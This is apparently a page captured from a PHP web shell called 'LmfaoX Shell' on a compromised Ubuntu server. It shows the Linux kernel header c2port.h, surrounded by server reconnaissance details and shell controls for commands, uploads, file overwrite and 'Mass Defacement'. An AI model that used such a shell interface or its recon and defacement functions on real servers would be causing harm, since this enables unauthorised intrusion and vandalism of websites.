ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.5 GB of 70.42 GB (36.21%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ linux-headers-3.0.0-14-generic-pae/ include/ linux/ - drwxr-xr-x

Directory:
Viewing file:     c2port.h (1.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 *  Silicon Labs C2 port Linux support
 *
 *  Copyright (c) 2007 Rodolfo Giometti <giometti@linux.it>
 *  Copyright (c) 2007 Eurotech S.p.A. <info@eurotech.it>
 *
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 as published by
 * the Free Software Foundation
 */

#include <linux/device.h>
#include <linux/kmemcheck.h>

#define C2PORT_NAME_LEN            32

/*
 * C2 port basic structs
 */

/* Main struct */
struct c2port_ops;
struct c2port_device {
    kmemcheck_bitfield_begin(flags);
    unsigned int access:1;
    unsigned int flash_access:1;
    kmemcheck_bitfield_end(flags);

    int id;
    char name[C2PORT_NAME_LEN];
    struct c2port_ops *ops;
    struct mutex mutex;        /* prevent races during read/write */

    struct device *dev;

    void *private_data;
};

/* Basic operations */
struct c2port_ops {
    /* Flash layout */
    unsigned short block_size;    /* flash block size in bytes */
    unsigned short blocks_num;    /* flash blocks number */

    /* Enable or disable the access to C2 port */
    void (*access)(struct c2port_device *dev, int status);

    /* Set C2D data line as input/output */
    void (*c2d_dir)(struct c2port_device *dev, int dir);

    /* Read/write C2D data line */
    int (*c2d_get)(struct c2port_device *dev);
    void (*c2d_set)(struct c2port_device *dev, int status);

    /* Write C2CK clock line */
    void (*c2ck_set)(struct c2port_device *dev, int status);
};

/*
 * Exported functions
 */

extern struct c2port_device *c2port_device_register(char *name,
                    struct c2port_ops *ops, void *devdata);
extern void c2port_device_unregister(struct c2port_device *dev);
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.4361 seconds